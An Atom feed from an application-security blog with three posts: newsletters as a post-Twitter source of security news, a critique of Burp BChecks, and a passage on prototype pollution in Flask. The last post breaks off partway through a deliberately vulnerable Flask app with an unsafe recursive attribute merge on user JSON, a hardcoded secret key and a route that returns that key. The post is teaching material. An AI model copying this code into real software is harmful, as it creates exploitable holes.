<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>Lanmaster53.com</title>
    <subtitle>Articles, information, and projects related to development and web application security.</subtitle>
    <id>https://www.lanmaster53.com/</id>
    <link href="https://www.lanmaster53.com/"/>
    <link rel="self" href="https://www.lanmaster53.com/feed.xml"/>
    <author><name>Tim Tomes</name></author>
    <updated>2024-07-15T00:00:00Z</updated>
    <entry>
        <title>Email is Dead. Long Live Email.</title>
        <id>https://www.lanmaster53.com/blog/2024/07/15/email-is-dead-long-live-email/</id>
        <link href="https://www.lanmaster53.com/blog/2024/07/15/email-is-dead-long-live-email/"/>
        <published>2024-07-15T00:00:00Z</published>
        <updated>2024-07-15T00:00:00Z</updated>
        <summary>I recently compared the stats from LinkedIn and X (formerly Twitter) for one of my more popular posts. In the first 24 hours of that post, X accumulated 304…</summary>
        <content type="html">&lt;p&gt;I recently compared the stats from LinkedIn and X (formerly Twitter) for one of my more popular posts. In the first 24 hours of that post, X accumulated 304 impressions from 8,426 followers, and LinkedIn accumulated 3,117 impressions from 1,861 followers. These are absurdly lopsided numbers that speak to the death of Twitter as a primary source of InfoSec knowledge sharing. I say &#34;Twitter&#34; here because X is clearly not the same platform. I shared these stats with an online community and it triggered a conversation about InfoSec knowledge sharing from both the content creation and consumption perspectives given the current state of social media. I am primarily a content creator, and currently focus exclusively on LinkedIn, but I still do some consuming. Apparently, my consumption approach is unconventional and intrigued some of those involved in the conversation. I thought I would share it here in case anyone else could benefit from it.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;I didn&#39;t follow many people on Twitter. I just followed a few people that followed everyone else and retweeted the things they thought were helpful. The people I followed were essentially content filters for the topics I was interested in. I used to call them tweet aggregators, and my usage of Twitter as a consumer revolved solely around their behavior. This technique served me well for the first decade or so of my career, but this all ended a couple years ago when the majority of the people I followed left Twitter. This created a gap in consumption for me, and I eventually noticed myself falling behind in awareness of what was going on in the various topics that interest me. So I went searching for an alternative way to efficiently consume useful information.&lt;/p&gt;
&lt;p&gt;There are email newsletters available for pretty much any domain within information technology i.e. security, development, etc. Newsletter authors scour the internet for resources related to specific subjects and provide summary emails with links to all the things they found interesting or significant. Sometimes daily, and sometimes weekly. This is very similar to what the people I followed on Twitter did. I began subscribing to newsletters and found that not only is this a great way to consume information, but it actually has many advantages over the social media approach of old.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Organized long-term storage.&lt;/strong&gt; I use Gmail filters to automatically organize and sort newsletter emails into a categorized label structure. I can hold on to them as long as I want, and they will never expire or become inaccessible until Gmail goes away at. Even then, I&#39;ll be able to export the emails. It won&#39;t likely matter anyway because the linked resources will be irrelevant before Gmail is.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scoped searching.&lt;/strong&gt; Even if I don&#39;t read every email, I am building a repository of relevant and vetted resources. Google search has recently introduced AI, which I have found to provide horribly inaccurate responses to queries. Therefore, finding trustworthy, truthful, and accurate information is becoming harder by the day. If I have a development or security question, rather than go to Google for the wrong answer, I can search the associated label in Gmail with relevant keywords and have vetted resources at my fingertips in a moment. It&#39;s amazing. By the way, here&#39;s a way to &lt;a href=&#34;https://www.linkedin.com/posts/lanmaster53_how-to-use-google-search-without-ai-the-activity-7199089040497737728-QzHM&#34;&gt;make Google behave like it used to before AI&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Less commitment.&lt;/strong&gt; Consuming Twitter was an ongoing process that required frequent views and scrolling, or else a useful resource might get buried in the pile of tweets that would accumulate over time. The FOMO was real. Newsletters are daily or weekly, and they don&#39;t get put in a crowded buffer of garbage. Get to it when you get to it, skim the headlines, and read what you want. Quite often I will skim headlines without clicking any of the links just to keep a pulse on what&#39;s going on. I may not know the details of the latest vulnerability that is bringing the internet to its knees, or the latest breaking change added to React, but I&#39;ll at least have awareness, and that is often good enough until there is a reason to dig further into it. Then I can use the search technique mentioned above to dive in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Less screen time/social media.&lt;/strong&gt; On the topic of FOMO... I already stare at a screen all day, so the less time I feel pressure to stare at a screen and expose myself to the toxic nature of social media, the better. I don&#39;t need to worry about what I might be missing, because anything worth paying attention to will be in the next newsletter.&lt;/p&gt;
&lt;p&gt;Obviously, I use Gmail for all of this, and Google being the king of search, Gmail naturally has great filtering and searching capabilities. I imagine any email provider will provide similar capabilities, but I use Gmail, so the above information should be taken in that context.&lt;/p&gt;
&lt;p&gt;Now, before any of this was possible, and I had to find the right newsletters. I started by reaching out to friends and contacts in the various industries that I wanted to stay informed of and asked them if they knew of any. This resulted in a few leads, and using that context, I did some searching to find alternatives, which led to more leads. I eventually found newsletters across multiple topics with just enough overlap between them to indicate good coverage without gaps. For those interested, below are the ones that I am currently subscribed to and why. Note that as my interests or the quality of the newsletters change, the list will to, and I probably won&#39;t update this post to reflect it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Information Security.&lt;/strong&gt; This is what I do.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tldr.tech/newsletters&#34;&gt;TLDR InfoSec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tldrsec.com/&#34;&gt;Clint Gibler - tl;dr sec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Development.&lt;/strong&gt; In order to truly be good at application security, I need to know how to do what developers are doing. I spend as much time writing code as I spend reviewing and testing it. This list covers the front end to the back end and everything in between with a focus on emerging technologies.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tldr.tech/newsletters&#34;&gt;TLDR Web Dev&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://hackernewsletter.com/&#34;&gt;Hacker Newsletter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.programmerweekly.com/&#34;&gt;Programmer Weekly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://javascriptweekly.com/&#34;&gt;JavaScript Weekly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gomakethings.com/articles/&#34;&gt;Go Make Things - Daily Developer Tips&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://frontendfoc.us/&#34;&gt;Frontend Focus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://codepen.io/spark&#34;&gt;CodePen Spark&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Development Operations (DevOps).&lt;/strong&gt; Many of my clients need help in this area, specifically with regards to DevSecOps. Therefore, I try to stay on top of the DevOps piece so I can integrate my expertise to help them solve the security problem.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tldr.tech/newsletters&#34;&gt;TLDR DevOps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Python.&lt;/strong&gt; I&#39;m a huge Python nerd.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.pythonweekly.com/&#34;&gt;Python Weekly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pycoders.com/&#34;&gt;PyCoder&#39;s Weekly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://arjancodes.com/&#34;&gt;ArjanCodes - The Friday Loop&lt;/a&gt; (link in the footer)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;General IT.&lt;/strong&gt; I&#39;m a geek that enjoys keeping an eye on technology as a whole.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tldr.tech/newsletters&#34;&gt;TLDR&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Not all of these newsletters are treated equally. I prioritize the TLDR newsletters because I have grown to enjoy the quality and brevity. I rarely read the DevOps newsletters simply because I do a lot less of that than I do everything else. I always make time for Go Make Things just because I really like Chris&#39; perspective of front end development, even though we couldn&#39;t be further away from one another on most other topics (his emails can be quite opinionated and occasionally venture outside the topic of development, but I respect his platform). PyCoder&#39;s, Python, and Programmer weekly are on par with TLDR, so they usually get my full attention as well. The rest might get a skim if I have time, otherwise I don&#39;t feel guilty letting them slip into storage to become a resource for future searches.&lt;/p&gt;
&lt;p&gt;Well, that&#39;s about it. Hopefully someone finds this useful in the post-Twitter age of information sharing. I know I have.&lt;/p&gt;</content>
        <category term="misc"/>
    </entry>
    <entry>
        <title>Burp BChecks: First Impressions</title>
        <id>https://www.lanmaster53.com/blog/2023/07/05/burp-bchecks-first-impressions/</id>
        <link href="https://www.lanmaster53.com/blog/2023/07/05/burp-bchecks-first-impressions/"/>
        <published>2023-07-05T00:00:00Z</published>
        <updated>2023-07-05T00:00:00Z</updated>
        <summary>With the introduction of PortSwigger Burp BChecks, I immediately became curious to see if the feature would be powerful enough to replace the existing Burp…</summary>
        <content type="html">&lt;p&gt;With the introduction of PortSwigger Burp BChecks, I immediately became curious to see if the feature would be powerful enough to replace the existing Burp integrated Python interface I use to achieve similar results. The Python solution is a topic I cover in great detail in #PBAT (https://www.practisec.com/training/pbat/).&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;I spent some time with Burp BChecks yesterday and set out to do a side-by-side comparison with the Python approach. I quickly discovered that BChecks are so limited that I couldn&#39;t conduct a true side-by-side comparison, even with one of the simplest and most common use cases I have for this functionality. Therefore, instead of a side-by-side comparison, I am sharing my initial impressions of BChecks, and will contrast those with the capabilities of the existing Python approach.&lt;/p&gt;
&lt;p&gt;The use case for my capabilities analysis was something we do in #PBAT with Python: Create a simple passive scan rule that looks for specific headers that are known to leak useful information, i.e. &lt;code&gt;X-Powered-By&lt;/code&gt;, &lt;code&gt;Server&lt;/code&gt;, &lt;code&gt;X-*&lt;/code&gt;, etc. Here are the takeaways from trying to implement this with BCheck.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The BChecks interface is well done. Definitely the best part of the feature. Templates make it easy to get started, and the ability to import/export checks encourages community sourcing and sharing.&lt;/li&gt;
&lt;li&gt;Debugging BChecks is limited to vague errors about line numbers and character positions and don&#39;t provide enough detail of what is causing the error. Fixing bugs and determining limitations took a lot of trial and error because I simply did not know what was wrong with each attempt. I had to try enough variations in all situations to exhaust all possibilities. With this approach, I either stumbled upon a fix at some point, or determined that something simply was not possible. PortSwigger&#39;s documentation, while not bad, was not comprehensive enough to help with this.&lt;/li&gt;
&lt;li&gt;BChecks require learning a proprietary syntax in a field where there is already an abundance of syntax to know. Since it is a proprietary syntax, users are forced to learn something that will not be applicable to anything else in their career.&lt;/li&gt;
&lt;li&gt;BChecks provide a single looping (iterating) mechanism, &lt;code&gt;run for each&lt;/code&gt;, that only allows for the use of static, explicitly defined values and does not allow looping through existing arrays. BChecks actually provides arrays of data ( i.e. &lt;code&gt;response.headers&lt;/code&gt;), but provides no mechanism to loop through them. This is either a gross oversight, or something they surely plan to incorporate in the future. Regardless, it is a crippling gap in functionality at the moment and the main reason why I couldn&#39;t do the side-by-side comparison.&lt;/li&gt;
&lt;li&gt;BChecks do not provide a mechanism for nested loops. Even if it was possible to loop through an existing array, BChecks would only be able to conduct analysis for one static thing for each iteration. For example, it is not possible to check multiple headers for a match with multiple regular expressions or strings. The only way to achieve nested behavior is to create a new BCheck for each item that would normally be in the nested array. Obviously, this is far from ideal, and still doesn&#39;t work for anything dynamic because of point 4.&lt;/li&gt;
&lt;li&gt;BChecks only apply to the scanner, and can&#39;t be used with any other tool, i.e. Intruder, Repeater, etc.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here&#39;s how Python in Burp stacks up to the same use case.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;There is a well designed interface for Python (Python Scripter BApp).&lt;/li&gt;
&lt;li&gt;Python debugging is verbose and helpful.&lt;/li&gt;
&lt;li&gt;Python is well known and useful outside of Burp. It&#39;s a positive career move and a good investment of one&#39;s time to learn Python.&lt;/li&gt;
&lt;li&gt;Python allows for defining and looping through dynamic arrays.&lt;/li&gt;
&lt;li&gt;Python allows for nested loops.&lt;/li&gt;
&lt;li&gt;Burp integrated Python works for every tool in Burp Suite Pro and has limitless scoping capabilities.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These points of comparison are not unique to Python, and this is where I&#39;m going to get on my soapbox. Would it not have been easier for PortSwigger to implement similar behavior with Python, JavaScript, Ruby, etc. than it was to create a new syntax that is full of limitations? More effort for less functionality seems like an odd design choice to me. I&#39;m sure that BChecks will get better over time, but given the above analysis, I&#39;m left to wonder... why? Why didn&#39;t PortSwigger embrace what is already being done? Seems to me that the Python solution (or any existing language for that matter) would have been easier to implement (the work is already done for Python) and way more capable than BChecks right out of the box. I&#39;m interested to see how the feature evolves, but I don&#39;t see how it will ever be more useful than what already exists with Python. But maybe that&#39;s by design.&lt;/p&gt;
&lt;p&gt;I must acknowledge the possibility that I could be misunderstanding PortSwigger&#39;s intended use case for BChecks, or am missing some key component of the feature. Perhaps I&#39;m trying to use BChecks for something they simply weren&#39;t designed to do, although they are explicitly marketed for creating passive scan rules. I made sure to read every resource I could find that PortSwigger had published on BChecks at the time I conducted this analysis, but it&#39;s certainly possible that I just missed something.&lt;/p&gt;
&lt;p&gt;I will continue watching the progress of the BChecks feature. Even if Python remains my preferred mechanism for achieving this functionality, which it certainly is for now, I will be prepared to share this feature with students in all future PractiSec training courses for which it applies.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="burp"/>
        <category term="tools"/>
    </entry>
    <entry>
        <title>Prototype Pollution in Flask</title>
        <id>https://www.lanmaster53.com/blog/2023/02/01/prototype-polution-in-flask/</id>
        <link href="https://www.lanmaster53.com/blog/2023/02/01/prototype-polution-in-flask/"/>
        <published>2023-02-01T00:00:00Z</published>
        <updated>2023-02-01T00:00:00Z</updated>
        <summary>Not too long ago I shared an interesting article on Twitter titled Prototype Pollution in Python. Not only are the memes great, but it&#39;s a fun and engaging…</summary>
        <content type="html">&lt;p&gt;Not too long ago I shared an interesting article on Twitter titled &lt;a href=&#34;https://blog.abdulrah33m.com/prototype-pollution-in-python/&#34;&gt;Prototype Pollution in Python&lt;/a&gt;. Not only are the memes great, but it&#39;s a fun and engaging read that does a good job of breaking down a complex topic into easy to understand concepts with practical examples. I highly recommend it if you enjoy tinkering with Python. At the bottom of the article the author mentions a couple practical examples for the reader to explore further. One of the examples was &#34;Overwriting Flask web app secret key that&#39;s used for session signing.&#34; Anything with the word &#34;Flask&#34; in it catches my attention immediately, so I spent a couple of hours exploring this idea.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;In typical fashion, when I explore a new vulnerability, or a vulnerability that is new to me, I do a series of things that force me to experience the vulnerability from multiple perspectives. The process looks something like this.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Come up with a reason why a developer might decide to write code that does the thing.&lt;/li&gt;
&lt;li&gt;Write a small application, or feature for an existing application, that does the thing.&lt;/li&gt;
&lt;li&gt;Attack the application to determine:&lt;ol&gt;
&lt;li&gt;Different ways of discovering the thing.&lt;/li&gt;
&lt;li&gt;The risk of exploiting the thing.&lt;/li&gt;
&lt;li&gt;How development tools try to prevent the thing.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Modify the code to remediate the thing.&lt;/li&gt;
&lt;li&gt;Validate if the thing is remediated.&lt;/li&gt;
&lt;li&gt;Repeat steps 3-5 until I can&#39;t do the thing anymore.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I have found this to be the most effective approach to learning enough about a vulnerability that I can speak intelligently to developers about them.&lt;/p&gt;
&lt;p&gt;Using the author&#39;s recursive &lt;code&gt;merge&lt;/code&gt; function, I built the following Flask application.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;json&lt;/span&gt;
&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;flask&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Flask&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;jsonify&lt;/span&gt;

&lt;span class=&#34;n&#34;&gt;app&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Flask&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;vm&#34;&gt;__name__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

&lt;span class=&#34;n&#34;&gt;app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;DEBUG&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;True&lt;/span&gt;
&lt;span class=&#34;n&#34;&gt;app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;SECRET_KEY&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;GDtfDCFYjD&#39;&lt;/span&gt;

&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;merge&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
    &lt;span class=&#34;c1&#34;&gt;# Recursive merge function&lt;/span&gt;
    &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;hasattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;__getitem__&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;dict&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;merge&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;elif&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;hasattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;dict&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;merge&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;nb&#34;&gt;setattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dst&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;k&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

&lt;span class=&#34;k&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;Person&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;__init__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;pass&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;serialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;vars&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

&lt;span class=&#34;nd&#34;&gt;@app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;route&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;/config&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;methods&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;GET&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;SECRET_KEY&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;SECRET_KEY&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]}&lt;/span&gt;
    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;jsonify&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

&lt;span class=&#34;nd&#34;&gt;@app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;route&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;/person&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;methods&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;post&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;json&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;loads&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;person&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Person&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
